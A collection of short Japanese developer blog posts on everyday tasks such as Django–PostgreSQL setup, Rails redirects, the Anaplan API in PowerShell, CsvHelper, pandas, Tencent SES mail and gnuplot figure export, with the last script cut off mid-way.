かなりざっくりですみません！
もし間違った解釈や説明をしているところがあったら教えてください！
修正させて頂きます！
仮想環境でDjangoとPostgreSQLを5分で接続する方法

# 前提
- Windows 10を使用
- 仮想環境上で`pip`コマンドが使用できる(`pip --version`で確認)
- `django-admin startproject`コマンドを実行済み


# 下準備

## 仮想環境でPostgreSQLをダウンロード

```
pip install psycopg2
```
### ダウンロードできているか確認

```
pip freeze
```
仮想環境にダウンロードしたパッケージが表示される

# postgreSQLの設定

## PostgreSQLに接続

```
psql -U postgres
```

## データベース作成&ユーザーへの権限付与

```
CREATE DATABASE [database名];
CREATE USER [ユーザー名] WITH PASSWORD 'password';
GRANT ALL PRIVILEGES ON DATABASE [db名] TO [ユーザー名];
```

## データベースを抜ける

`\q` または `exit`


# Django側の設定
変更するのは`settings.py`だけ

```settings.py
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'django_proj_db', # 作成したデータベース名
        'USER': 'admin', # 作成したユーザー名
        'PASSWORD': '1234', # パスワード
        'HOST': 'localhost', # localhostがデフォルト
        'PORT': '5432' # 基本設定で5432
    }
}
```

## postgressにログイン
```
python manage.py dbshell # settings.pyに登録したデータベースに接続できる
```

## 接続情報確認

```
django_blog_db=> \conninfo
出力⇒データベース"django_blog_db" にユーザ "admin" として、ホスト "localhost" 上のポート "5432" を介して接続しています。
```


## PostgreSQL コマンドシート
下記の記事が参考になります。
https://qiita.com/Shitimi_613/items/bcd6a7f4134e6a8f0621

# 参考
今回は下記の記事を基に自分なりに作りました。
https://hodalog.com/initial-setting-to-use-postgresql-in-django/
renderメソッドでGoogleMapが消える！？　[Rails][Ruby]

#発生した不具合
renderメソッドを使いエラー文を表示させる実装途中、renderメソッドによるページ遷移後に、導入していたGoogleMapが表示されない事が判明した。

#解決方法
結論としては、renderメソッドを使わず、`redirect_toメソッド`を使用します。

＊早めにエラーを解決したかったので、この不具合に関する原因について、この記事では言及しておりません。

#変更点

```ruby:変更前
class CommentsController < ApplicationController
  before_action :authenticate_user!

  def create
    @comment = current_user.comments.build(comment_params)
    if @comment.save
      redirect_to board_path(params[:board_id])
    else
      render template: 'boards/show'
    end
  end


  private
  def comment_params
    params.require(:comment).permit(:text,:board_id).merge(user_id: current_user.id)
  end
end

```

```ruby:変更後
class CommentsController < ApplicationController
  before_action :authenticate_user!

  def create
    @comment = current_user.comments.build(comment_params)
    if @comment.save
      redirect_to board_path(params[:board_id])
    else
      # render template: 'boards/show' 消去
      flash[:error_messages] = @comment.errors.full_messages
      redirect_to board_path(params[:board_id])
    end
  end


  private
  def comment_params
    params.require(:comment).permit(:text,:board_id).merge(user_id: current_user.id)
  end
end

```

以上が主な変更点です。
あとは設定した、`<%=flash[:error_messages]%>`をこのまま表示させたい部分に挿入して完了です。

メッセージ文をはモデルにて修正しましょう。

#まとめ
・render　　　：　controller　→　view
・redirect_to　：　controller　→　URL　→　route　→　controller　→　view

ご覧いただきありがとうございました。
今回のエラーは上記のviewまでにいたるプロセスのどこかで、APIに関する情報が読み込まれない事によるものだと思われます。
発生原因は探している最中ですが、メソッドの基本の流れを理解していたので、すぐに解決できました。

初学者ですので、原因に関することで知見のある方がいましたらぜひコメントお願いします。
Webページの最終更新日を調べる方法

#プログラミング勉強日記
2021年2月18日
更新日が書かれているサイトがほとんどだと思っていたが、意外にも更新日や投稿日が関われていないサイトもあってその方法を調べてみた。

#デベロッパーツールを使う方法
　WindowでChromeなら`F12`を押すとデベロッパーツールにする。Consoleのところで`document.lastModified`を入れるとファイルの最終更新日がわかる。
　更新日が取得できるのは静的ファイルだけみたいだった。動的サイトでは、そのときの時間が表示されてしまう。


#ソースコードから検索する方法
　Windowの場合は`Ctrl+U`でそのページのソースコードを開く。`Ctrl+F`で検索機能を使って`datePublished`や`publishdate`、`published_time`という用語を探す。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/642821/f1d31b4f-2e06-80b8-7fb5-f01b11c73de0.png)


#参考文献
[ウェブページの最終更新日や投稿日を調べる方法](https://www.netshop7.com/blog2/koushinbi-shiraberu/)
[ウェブサイトの公開日を調べる方法](https://www.wikihow.jp/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%81%AE%E5%85%AC%E9%96%8B%E6%97%A5%E3%82%92%E8%AA%BF%E3%81%B9%E3%82%8B)
オラクルクラウドのコンプライアンス対応の確認方法

パブリッククラウドを利用する前提として、会社でセキュリティチェックリストを埋めないといけないケースがある。今回はオラクルクラウドでそのケースを考えてみます。
（※本記事は見出しに対する明確な回答には至れてません、スミマセン、先に謝っておきます。）

## 結論からすると
- オラクルが公開しているコンプライアンス対応情報は下記ページくらいしかなさそう
    - https://www.oracle.com/cloud/cloud-infrastructure-compliance/
- これ以上の詳細が知りたい場合は、日本オラクルに問合せるしかないと思われる。
（2021.2時点）

## パブリッククラウドを会社として利用する場合
会社特有のセキュリティチェックリスト項目をすべてクリアしないと会社のインフラチームが許容しないという慣習が日本の企業では多いです。パブリッククラウドに限らず例えば経理システム系のSaaSなどでも、他社サービスを利用して社内のデータを管理する場合には、セキュリティチェックリストを満たす必要性がある企業が多いと思います。

今回はオラクルクラウドについて、会社で使う場合を検討してみたいと思います。
早速ですが、オラクルクラウドでそういったセキュリティ面で公開されいるのは下記ページのコンプライアンス対応になります。ISO27001やPCIDSS、SOC1、SOC2、FISCなど日本でも使われる主要なところは流石に抑えられており、たいていの場合、問題なくパブリッククラウドとして利用して問題ないと思います。（もちろん個人の見解なので会社の規定をよく確認の上判断してください。）
https://www.oracle.com/cloud/cloud-infrastructure-compliance/

また、注意点としては、オラクルクラウドにはDC（データセンター）が世界中に存在し、現時点（2021年2月時点）ではおよそ30箇所にDCがあります。
そして、DCの拠点によって微妙に利用できるサービスが異なっていたり、上記のコンプライアンス対応も微妙にリージョンによって異なっていたりするそうです。
ですので、もし日本のDC（東京か大阪）を利用する場合には、リージョンを「JAPAC」を選択し、国を「Japan」を選択するようにしてください。
上記サイトに掲載されいているよりももっと詳細の情報が必要な場合は、日本オラクルに聞いてみるしかないと思います。
DCが世界に30拠点もあるのはクラウドベンダーの中でもトップレベルですね。

### また、話は逸れますが、
AWSなどのクラウドベンダーを利用するときにの注意点としてもう一つ。
それはリージョンごとに値段設定が違うということです。
同じコンピュートのIaaSのサービスを利用しようとしても東京リージョンの値段とアメリカリージョンの値段では違っていますので注意深く見る必要があります。
この点、オラクルクラウドでは、リージョンが違っても全世界で値段は同じ。という利点があり、国際企業さんで海外と日本国内合わせてクラウドでシステムを扱うような会社にとっては面倒な悩みが1つ消えます。

セキュリティ面に関しても、正直、今の主要クラウドベンダー（AWS、GCP、Azure、OCIも）であれば、下手に自社内で頑張ってセキュリティ対策をして構築するよりも断然クラウドベンダーにデータを預けた方が安全。というレベルまでちゃんとセキュリティ対策されています。一昔前は、それこそ会社のデータをパブリッククラウドに持ってくなんて危険だという説がありましたが、それはもうだいぶ昔の話でして、クラウドベンダーも日々改善されセキュリティ対策も万全になってきているというのが実情ではないかと思います。

### 個人的な思いとしては
ということで、この企業のセキュリティチェックリスト文化をそろそろ廃止にしても良いんじゃないかと個人的には思う今日この頃でございます。
チェックリストって企業にもよると思いますが、多いと何百項目といった項目をチェックする必要があったりして、インフラ担当者の工数をめちゃめちゃ食う業務じゃないかと思います。だから廃止は言い過ぎでも、今と昔では状況が違う事を鑑み、チェックリストの内容を見直しスリム化を図るべきではないかと思います。
それではなくてもIT人材不足しているんだから、こういうところからDX（デジタルトランスフォーメーション）として始めてみるのもいいのではないでしょうか。
powershellのInvoke-RestMethodを使ってAnaplanのAPI使用記録　

## 処理の流れ

AnaplanのSSOToken取得→インポート先の情報取得→ファイルアップロード処理→インポート処理

##AnaplanのSSOToken取得
```powershell:getSSOToken
#ユーザーIDとパスワードをまとめる
$pair = "$($user):$($pass)"

#文字列をCredentialに変換
$encodedCreds = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($pair))
$basicAuthValue = "Basic $encodedCreds"

#Header情報を設定
$Headers = @{
Authorization = $basicAuthValue
}

#SSOToken取得URI
$uri = "https://auth.anaplan.com/token/authenticate"

#Invoke-RestMethod実行
$result = Invoke-RestMethod -Uri $uri  -Headers $Headers -Method POST 

#tokenValue取得
$TOKEN_VALUE=$result.tokenInfo.tokenValue
```

##インポート先の情報取得


```powershell:getImportInfomation

$WORKSPACE_ID="対象のワークスペースID"
$MODEL_ID="対象のモデルID"
$TOKEN_VALUE="取得したトークンの値"

#Header情報を設定
 $Headers = @{
"Authorization" = "AnaplanAuthToken $TOKEN_VALUE"
"Accept"="application/json"
}

#Import先の情報取得URI
 $uri = "https://api.anaplan.com/2/0/workspaces/$WORKSPACE_ID/models/$MODEL_ID/imports"

#Invoke-RestMethod実行
 $result = Invoke-RestMethod -Uri $uri  -Headers $Headers -Method get

 $importInfomation = $result.imports | where { $_.name -eq "Import先の名前" }
#Import先のID
 $IMPORT_ID=$importInfomation.id
#Import先が参照しているファイルID
 $FILE_ID=$importInfomation.importDataSourceId

```

##ファイルアップロード

```powershell:fileUpload

$WORKSPACE_ID="対象のワークスペースID"
$MODEL_ID="対象のモデルID"
$TOKEN_VALUE="取得したトークンの値"
$FILE_ID="アップロード先のファイルID"
$FILE_PATH="アップロードするファイルパス"

#Header情報を設定
$Headers = @{
"Authorization" = "AnaplanAuthToken $TOKEN_VALUE"
"Content-Type"="application/octet-stream"
}

#ファイルアップロードURI
$uri = "https://api.anaplan.com/2/0/workspaces/$WORKSPACE_ID/models/$MODEL_ID/files/$FILE_ID"

#Invoke-RestMethod実行
$result = Invoke-RestMethod -Uri $uri -Method PUT -Headers $Headers -InFile  $FILE_PATH
```

##ファイルアップロード後の確認

```powershell:fileUploadConfirm

$WORKSPACE_ID="対象のワークスペースID"
$MODEL_ID="対象のモデルID"
$TOKEN_VALUE="取得したトークンの値"

#Header情報を設定
$Headers = @{
"Authorization" = "AnaplanAuthToken $TOKEN_VALUE"
"Accept"="application/json"
}

#ファイルアップロード確認URI
$uri = "https://api.anaplan.com/2/0/workspaces/$WORKSPACE_ID/models/$MODEL_ID/files"

#Invoke-RestMethod実行
$result = Invoke-RestMethod -Uri $uri  -Headers $Headers -Method get
$fileInfomation = $result.files | where { $_.id -eq $FILE_ID }
```

下記の情報を取得しchunkCountが1になっていることを確認(例)

```
id           : ファイルID
name         : ファイル名
chunkCount   : 1
delimiter    : "
encoding     : UTF-8
firstDataRow : 2
format       : txt
headerRow    : 1
separator    : ,
```

##インポート

```powershell:Import

$WORKSPACE_ID="対象のワークスペースID"
$MODEL_ID="対象のモデルID"
$IMPORT_ID="インポート先のID"
$TOKEN_VALUE="取得したトークンの値"

#Header情報を設定
$Headers = @{
"Authorization" = "AnaplanAuthToken $TOKEN_VALUE"
"Content-Type"="application/json"
}

#Body情報を設定
$Body = '{"localeName": "en_US"}'

#インポート処理のURI
$uri = "https://api.anaplan.com/2/0/workspaces/$WORKSPACE_ID/models/$MODEL_ID/imports/$IMPORT_ID/tasks"

#Invoke-RestMethod実行
$result = Invoke-RestMethod -Uri $uri  -Headers $Headers -Method post -Body $Body 
```
処理に成功するとtaskIdのresponseが戻ってくる

```
{
"taskId" : "5E6331685CC648A29B725923B8FAEA1C"
}
```

##参考
[Anaplan API 文書](https://anaplanbulkapi20.docs.apiary.io/# "Anaplan API 文書")
[C#覚え書き]CSVHelperを使って自作クラスにCSVファイルを読み込む

#背景
最近、2つのCSVファイルを読み込んでJOINしてから解析することがあった
以前までは、DataTableに読み込んで解析していたが、最近は自作クラス+Linqの便利さを知ってしまったため、CSVを自作クラスのリストに落とし込めないかと探すとCSVHelperにたどり着いた

CSVHeplerはドキュメントも充実していて安心
https://joshclose.github.io/CsvHelper/

Shift-jis対応するのに参考したページ(ありがとうございます)
http://akira-arets.blogspot.com/2017/09/dotnetcore2-csvhelper-shiftjis.html

開発環境：VS2019 C#

#事前準備(NuGetパッケージ)
- プロジェクトにNuGetパッケージマネージャーで`CSVHelper`を検索しインストール
- Shift-jisに対応させるために`System.Text.Encoding.CodePages`も検索しインストール

###自作クラス
- 読み込むCSVファイル(記事用に適当な内容です)

```:CSVファイルの内容
番号,名前,日付
1,Aさん,2020/12/28 14:44:00
2,Bさん,2020/12/28 14:29:00
3,Cさん,2020/12/28 16:03:00
4,Dさん,2020/12/28 15:23:00
```

###CSVファイルに適応するClassとMapを作る
ClassとMapをCSVファイルの種類の数作る
今回は上記のCSVに対応させたOriginalクラスを作成しておく

```C#
public class Original
{
    public int No { get; set; }
    public string Name { get; set; }
    public DateTime ReceptDate { get; set; }
}
public class OriginalMap : ClassMap<Original>
{
    public OriginalMap()
    {
        Map(m => m.No).Name("番号");//CSVファイルのヘッダーの文字にすること
        Map(m => m.Name).Name("名前");
        Map(m => m.ReceptDate).Name("日付");
    }
}
```
#実際にGetRecordsを使ってみる
`using CsvHelper`
`using CsvHelper.Configuration`
`using System.Globalization`
その他、StreamReader用のSystem.IO、IEnumerable用のSystem.Collections.Genericなど追加

```C#
Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);//Encoding.GetEncoding("shift-jis")を使うため
using (var reader = new StreamReader(path, Encoding.GetEncoding("shift-jis")))//pathはファイルのパス、StreamのEncodingにShit-jis設定
using (var csv = new CsvReader(reader, CultureInfo.InvariantCulture))
{
    csv.Context.RegisterClassMap<OriginalMap>();//ContextにMapを設定
    IEnumerable<Original> records = csv.GetRecords<Original>();//GetRecordsでIEnumerable<Original>に読み込む
    //List<Original> records = csv.GetRecords<Original>().ToList();//GetRecordsでList<Original>に読み込む
    foreach (var record in records) 
    {
         Console.WriteLine(record.No+ "," + record.ReceptDate.ToString());//ちゃんと読み込めているか確認してみる
    }
}
```

#結果
```:出力
1,Aさん,2020/12/28 14:44:00
2,Bさん,2020/12/28 14:29:00
3,Cさん,2020/12/28 16:03:00
4,Dさん,2020/12/28 15:23:00
```

少し幸せになれた気がする
初心者が躓く関数と戻り値(返り値)【基礎】

<h1>関数</h1>
<p>関数とは...</p>
関数とは...
・頻繁に使用する処理を一つにまとめて何時でも呼び出せるようにする便利なものです。
・PHPにすでに実装されている組み込み型の関数と、functionで定義して自由に作ることができるユーザー関数の2種類存在します。

<h1>関数の種類</h1>
<h5>ビルトイン関数(組み込み関数)</h5>

PHPのシステムにすでに組み込まれている便利な関数。
例）
strlen...文字の長さを取得する関数
count...配列の要素の個数を取得する関数
などなど...[PHP Manual 関数](https://www.php.net/manual/ja/functions.internal.php)に多数記載があるので、わからないビルトイン関数があった場合はManualの"search"で検索・参照するとたくさんでてきます。
***
<h5>ユーザー関数</h5>
ユーザーが新規で作成する関数。
システムにすでに組み込まれている関数とは違い、自由に作ることができる。
<b>ユーザー関数は必ずfunctionで定義をする。</b>

```PHP:function
function 関数名(仮引数){
//仮引数は後ほど説明致します。
    実行する処理
}
```
実際にユーザー関数を実装してみましょう。
例としてRPGゲームで必ずある攻撃アクションの実装をしてみます。
単純な実装なので、あまり参考になりませんが、まずは関数の基礎を頭に叩き込むために簡単にしてます。
<h5>ユーザー関数の実装</h5>

```PHP:attack

function attack(){
    //return文は後ほど説明致します。
    return $attack="の攻撃!";
}
    echo "チョコボ".attack();
//結果：チョコボの攻撃!
```
シンプルにユーザー関数はfunctionを付けることをまずは心掛けてください。
***
<h1>仮引数と引数</h1>
関数は仮引数と引数を必ず使用する必要はありませんが、
より実用的な関数を作るのであれば、仮引数と引数を使うことによってより高機能な関数になるので、必ず覚えましょう。

<h3>仮引数</h3>
関数を定義するときに引数に置き換える変数のこと。
***
<h3>引数</h3>
関数を引き出すときに出す実際の値のこと。
***
<h5>仮引数と引数を入れた関数</h5>
```PHP:status

function status($character,$now){
    //$characterと$nowが仮引数
    $status = "{$character}は{$now}だ。"."\n";
    return $status;
}
    //()の中が引数
    echo status("チョコボ","笑顔");
    echo status("黒チョコボ","眠たそう");
/*結果：
チョコボは笑顔だ。
黒チョコボは眠たそうだ。
*/
```
仮引数と引数の基本になりますので、覚えましょう。
因みに、仮引数は　「<b>,(カンマ)</b>」で区切ればいくつでも（100個でも10000個でも）いれることができますが、基本的に1~3個です。
***
<h1>戻り値（返り値）</h1>
<p>戻り値とは...</p>
・関数から値を取得することができる。
・関数から値を取得するにはreturn文を使用する。
・returnが実行されると関数の処理がその時点で終了して値が返される。
・返り値のない関数も存在する。
・return文では配列やオブジェクトを含むあらゆるデータ型を指定できる。
***
<h5>戻り値を利用するとこんなことも...</h5>

```PHP:attack.sum
<?php

function attack_sum($punch,$kick){
    $sum = $punch*$kick / 2;
    return $sum;
}

$sum_A = attack_sum(10,60);
$sum_B = attack_sum(10,40);

echo "剣士の攻撃は魔物に".$sum_A."のダメージ".PHP_EOL;//剣士の攻撃は魔物に300のダメージ　を出力
echo "戦士の攻撃は魔物に".$sum_B."のダメージ".PHP_EOL;//戦士の攻撃は魔物に200のダメージ　を出力

echo "魔物に合計";
echo $sum_A+$sum_B."のダメージ。".PHP_EOL;
echo "魔物は倒れた。".PHP_EOL;
/*魔物に合計500のダメージ。
魔物は倒れた　を出力*/
```
初めに、変数sum_Aと変数sum_Bの値を出力して、最後に合計値を出すということもできます。
よかったら参考にしてみてください。

<h1>最後に</h1>
今回は、初心者が躓く関数と戻り値について記述しました。

また、作成者本人もPHPを学習中のため、勉強用のメモとして、この記事を活用しております。
もっとわかりやすく教えていただける方いれば、コメント欄にてお待ちしております。

ではでは♪
Tencent Cloud SDK for PHPでSESメール送信

参考
優技録：https://www.yuulinux.tokyo/19204/


#### APIキーの発行

SDKに必要なキーを発行する

Cloud Access Management > Access Key > API Key > Create Key

AWSみたいに権限設定といった手順はなくCreate Keyを押すとKeyが発行された
発行したアカウントと同等の権限が付与されているのかも
SecretKeyを見るために２段階認証あり。


#### API Explorer

API Explorerを使うとsdkのサンプルが見れる。便利
試しにSESで登録したメールテンプレート一覧を取得してみる

Simple Email Service > Template Apis > ListEmailTemplates
API Keyを入力してRegionはap-hongkongしか選択不可、limitとoffsetは適当に1,0で
![スクリーンショット 2021-02-18 14.16.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294537/45526d3e-db36-9b9f-42e8-0df111abd24c.png)

Online Call > Send Request

```
    "Error": {
      "Code": "UnsupportedRegion",
      "Message": "The action not support this region."
    },
```



Regionはap-hongkongしか選べないのにUnsupportedRegionだなんて！！

少し焦ったけどAPI Inspectorを使ってSESのコンソール見てみたら、SESのRegionはap-singaporeのようでした
なのでAPI Explorerからは動きません



#### PHPからメール送信

メールテンプレートは事前に作成ずみで、変数にtaroと表示するようにしてます

```
<?php
require_once 'vendor/autoload.php';
use TencentCloud\Common\Credential;
use TencentCloud\Common\Profile\ClientProfile;
use TencentCloud\Common\Profile\HttpProfile;
use TencentCloud\Common\Exception\TencentCloudSDKException;
use TencentCloud\Ses\V20201002\SesClient;
use TencentCloud\Ses\V20201002\Models\SendEmailRequest;
try {
    $cred = new Credential("SecretId", "SecretKey");
    $httpProfile = new HttpProfile();
    $httpProfile->setEndpoint("ses.tencentcloudapi.com");
    $clientProfile = new ClientProfile();
    $clientProfile->setHttpProfile($httpProfile);
    $client = new SesClient($cred, "ap-singapore", $clientProfile);
    $req = new SendEmailRequest();
    $params = array(
        "Destination" => [
            "to@test.com"
        ],
        "Template" => [
            "TemplateID" => 00000,
            "TemplateData" => "{\"name\":\"taro\"}"
        ],
        "FromEmailAddress" => "from@test.com",
        "Subject" => "test",
        "ReplyToAddresses" => "from@test.com"
    );
    $req->fromJsonString(json_encode($params));
    $resp = $client->SendEmail($req);
    print_r($resp->toJsonString());
}
catch(TencentCloudSDKException $e) {
    echo $e;
}
DirectXの更新を手動で行いたい、旧バージョンを入れたい

Windows10では，WindowsUpdateにDirectXが追加されましたが，それにより手動で更新したり，古いバージョンを入れるのが困難になってしまいました．さすが天下のM様．

※基本的に投稿者が忘れないために作成した記事になります．リンクの挿入が多めになっている可能性があります．

#スペック
Windows10
DirectX12(最新)

#問題点
そこで，某鉄道ゲームをプレイしようとした際，以下のエラーがでました．


```
エラー
ファイルまたはアセンブリ`Microsoft.DirectX.Dirext3D, Version=1.0.2902.0.
Culture=neutral, PublicKeyToken = 31bf3856ad364e35`,またはその依存関係の1つが読み込めませんでした。
指定されたファイルが見つかりません。
```

要は，古いゲームを動作されるのに，DirectX9.0cが必要な様です．なんともめんどくさい．

とりあえずMSのサイトを見れば，と思ったらサイトが消えてるｗ

#解決策

とりあえずググってみたらこんなサイトがあり
[DirectX 9.0c エンドユーザーランタイムの入手方法](https://www.nichepcgamer.com/archives/directx-9c-end-user-runtime-download.html)

おぉ，たしかにここに置いてあるぞ！
[Vocaloid Promotion Video Project](https://sites.google.com/view/vpvp/)

インストールで英語が分からない場合はここ
[please type the location where youwant to
place the extracted files.とは？](https://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1382700193)

これで動作完了したので，解決！
pandasでカンマで区切られていないテキストファイルのデータを列ごとに抽出する方法

あるテキストファイルから各列を抽出する方法をまとめておく。

ポイントとして、今回扱うテキストファイルは項目ごとにカンマで区切られていない。（スペースで区切られている。）
また列（カラム）の名前がない。

```txt:data.txt
-4.27664    2.32979
4.31421    6.18227
-2.71355    4.94826
-0.969893    6.99936
0.919589    9.9744
```

このデータを１列目がx, 2列目がyの５行２列のデータとして認識させたい。

###結論

```python:
import pandas as pd
df = pd.read_csv("data.txt", delim_whitespace=True, names=('x','y'))
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1067896/6fff91ac-3d48-56ef-c639-b29503bcb608.png)

以下で詳しく説明する。

##pandasのread_csvを用いてデータを読み込む

```python:
import pandas as pd
df_1 = pd.read_csv("data.txt")

print(df_1)
```
このままだとdf_1は、カラム名が-4.27664 2.32979の４行１列のデータとなってしまう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1067896/dd8a5274-5f2d-dc3a-a184-7abc32ccbd55.png)

##スペースを区切り文字に指定する

delim_whitespaceをTrueにすることでスペースを区切りとして認識させることができる。

```python:
df_2=pd.read_csv("data.txt", delim_whitespace=True)
print(df_2)
```

これにより、df_2は２列のデータとして認識させることができた。
ただし、このままではカラムの名前がそれぞれ-4.27664, 2.32979の４行２列のデータとなってしまう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1067896/b7bc095a-beb1-9258-0c9b-88c29a9d97c3.png)

※ 区切り文字の指定については他にもsep, delimiterなどがある。
　参照：https://deepage.net/features/pandas-readcsv-deep.html

##カラム名を設定する

namesによって２列のカラム名をそれぞれx, yと設定する。

```python:
df_3=pd.read_csv("data.txt", delim_whitespace=True, names=('x','y'))
print(df_3)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1067896/6fff91ac-3d48-56ef-c639-b29503bcb608.png)

これにより、１列目がx, 2列目がyの５行２列のデータとして認識させることができた。

####補足

x列のデータ、y列のデータはそれぞれ以下のようにして取り出すことができる。
これは列ごとの合計や平均、またxとyの共分散などを求める際に便利である。

```python:
df["x"]
df["y"]
```
UIデザインを考える時によく使う参考サイト

SVGアイコン
https://iconscout.com/unicons

https://www.flaticon.com/

https://www.webcreatorbox.com/webinfo/svg-icons-patterns-illustration

背景パターン
https://www.d-shop.jp/column/background-material

フォントサイズ
https://anyushu.com/font/post-font-style/

リボン
https://wand.plus/2016/08/19/css%E3%81%A0%E3%81%91%E3%81%A7%E3%81%A7%E3%81%8D%E3%81%A1%E3%82%83%E3%81%86%EF%BC%81%E3%83%A9%E3%83%99%E3%83%AB%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%80%8C%E4%B8%89%E8%A7%92%E5%BD%A2%E7%B7%A8/

まとめ記事
https://qiita.com/bo_zu_/items/88f45b132c8293dcd9b1

イラスト
https://qiita.com/bo_zu_/items/0c09f789c5804132f1ad
[Android]Play Publisher Gradle Pluginでリリースした際に、Crashlyticsのログが難読化されたままになる場合の対処法

Android アプリで [Crashlytics](https://firebase.google.com/docs/crashlytics?hl=ja) を使ってクラッシュログを確認していたのですが、ある時から Crashlyitcs のコンソールに表示されるログが難読化されたままになってしまいました。

原因を調査したところ、[Play Publisher Gradle Plugin](https://github.com/Triple-T/gradle-play-publisher) という Gradle Plugin が原因だったのでそれについて共有したいと思います。

## 問題点

Android アプリの開発において [Play Publisher Gradle Plugin](https://github.com/Triple-T/gradle-play-publisher) を使うと、Gradle のタスクで Google Play Console へ APK や App Bundle をアップロードできるようになります。

Issue にもあるのですが、どうやらバージョン3.0 Crashlytics に mapping.txt がアップロードされない不具合があったようです。
（正確には、Crashlytics に mapping.txt をアップロードする Gradle タスクが実行されていない不具合）

- https://github.com/Triple-T/gradle-play-publisher/issues/859

こちらの不具合はバージョン3.1.0で修正されたようですが、私が確認している限りでは3.1.0と現在（2021/02/18 時点）の最新のバージョンである3.2.0ではまだ Crashltyics に mapping.txt はアップロードされませんでした。

## 対処方法

重要なのは **Crashlytics へ mapping.txt をアップロードする Gradle タスクが実行されるか**どうかです。

このタスクは `uploadCrashlyticsMappingFileXXX` というタスク名になっています。
（`XXX` には[ビルドバリアント](https://developer.android.com/studio/build/build-variants?hl=ja)の名前が入ります）

Google Play Console へアプリをアップロードする Gradle タスクを実行したら、この名前のタスクが実行されているか確認した方がよいかと思います。

### 方法その1

[Issue](https://github.com/Triple-T/gradle-play-publisher/issues/859#issuecomment-700658128) にも記載がありますが、簡単な方法としては APK or App Bundle をアップロードする前に一度ビルドする処理を実行することです。

- APK の場合

```
./gradlew assembleRelease publishRelease
```

- App Bundle の場合

```
./gradlew bundleRelease publishRelease
```

### 方法その2

もしくは少し冗長かもしれませんが `app/build.gradle` に以下のような設定をして、Google Play Console へアプリをアップロードする Gradle タスクを実行する前に Crashlytics へ mapping.txt をアップロードするタスクを実行させることもできます。

（以下のコードは Android Gradle Plugin 4.1系に対応しています）

```
play {
    ...
}

android.onVariants { variant ->
    def variantName = variant.name.capitalize()
    afterEvaluate {
        tasks.all {
            switch (it.name) {
                case "publish${variantName}Bundle":
                    it.dependsOn "uploadCrashlyticsMappingFile${variantName}"
                    break
            }
        }
    }
}
```
rails チュートリアル　第二章でのデプロイできないことへの対処法

第２章でデプロイを行おうとしたがうまくいかず時間がかかってしまいました。
その時の対処法を記します。

状態

「2.3.5 アプリケーションをデプロイする」


デプロイを行うため、以下の入力を実施した

```

$ git add -A
$ git commit -m "Finish toy app"
$ git push
$ heroku create
$ git push heroku master

```



作成されたアプリをデプロイする際、以下のエラーが出る。

```

remote: ###### WARNING:
remote: 
remote:        You have not declared a Ruby version in your Gemfile.
remote:        
remote:        To declare a Ruby version add this line to your Gemfile:
remote:        
remote:        ```
remote:        ruby "2.6.6"
remote:        ```
remote:        
remote:        For more information see:
remote:          https://devcenter.heroku.com/articles/ruby-versions
remote: 
remote: ###### WARNING:
remote: 
remote:        No Procfile detected, using the default web server.
remote:        We recommend explicitly declaring how to boot your server process via a Procfile.
remote:        
remote: 
remote: 

```


対処法

以下を入力

```

$ heroku run rails db:migrate

```

その後、もう一度デプロイする手順を踏めばうまくいきました。
gnuplot: ビットマップ画像を PDF として出力

# はじめに
学術論文に掲載する図は多くの場合，ビットマップ画像ではなくベクタ画像が求められる（と筆者は考えている）．
グラフの目盛りや凡例など，ベクタ画像にしておいた方が後々編集もしやすく，拡大縮小にも柔軟に対応できるため，利便性が高い．

一方で，膨大な量の点列など，ベクタ画像には不向きなデータが存在する．
当該データは上記の利得が得られないだけでなく，容量が大きくなり大変扱いづらい．
この問題を解決するためにはどのようなやり方が考えられるだろうか．

# 解決策
いくつか方法はあるだろうが，`gnuplot` を使った解決策として次のような手順が有効である．

1. ベクタ画像に不向きなデータを，目盛りや凡例などの情報は付与せずに `PNG` 形式で出力する
2. 用意した `PNG` 形式の画像を新たに `PDF` として出力する

# 具体例
[Logistic map](https://en.wikipedia.org/wiki/Logistic_map) の bifurcation diagram（分岐図）で実際に `PDF` を作成してみる．
データ点列は[別記事](https://qiita.com/Yuu-Miino/items/41a9f71c51d796aca218)で紹介した方法で `out.bf1` として生成した．

## スクリプト
### 設定ファイル
個々に設定する必要のある値をひとまとめに設定ファイル内に置いた．

```python:config.gp
# PNG settings
FILE_NAME  = "out.bf1" # 入力 データファイル名
PNG_NAME   = "out.png" # 出力 PNG ファイル名
PNG_WIDTH  = 2000      # PNG の解像度（横）
PNG_HEIGHT = 2000      # PNG の解像度（縦）
ALPHA      = "D0"      # alpha-channel: 0-255 in hex
COLOR      = "EB811B"  # 色指定

XFROM = 2.4  # 出力範囲（x 軸）
XTO   = 4.0  # 出力範囲（x 軸）
YFROM = 0    # 出力範囲（y 軸）
YTO   = 1    # 出力範囲（y 軸）

# PDF settings
PDF_NAME   = "out.pdf"  # 出力 PDF ファイル名

XLABEL = "{/:Italic r}" # 凡例（x 軸）
YLABEL = "{/:Italic x}" # 凡例（y 軸）

#EOF
```

### PNG 出力

```python:makepng.gp
load("config.gp");
set term png size PNG_WIDTH, PNG_HEIGHT transparent truecolor

set lmargin screen 0
set rmargin screen 1
set tmargin screen 0
set bmargin screen 1
unset tics
unset border
unset key

set out PNG_NAME

set xr [XFROM:XTO]
set yr [YFROM:YTO]

p FILE_NAME every ::100 w d lc rgb "#".ALPHA.COLOR
#EOF
```

* `transparent` で透明度を有効にし，`ALPHA` で値を指定しています．

### PDF 出力

```config:makepdf.gp
load("config.gp");

set term pdf font "Times-New-Roman, 24" size 8, 8
set out PDF_NAME

set grid front
set tics
set size sq

set xr [XFROM:XTO]
set yr [YFROM:YTO]

set xlabel XLABEL
set ylabel YLABEL

p PNG_NAME binary filetype=png \
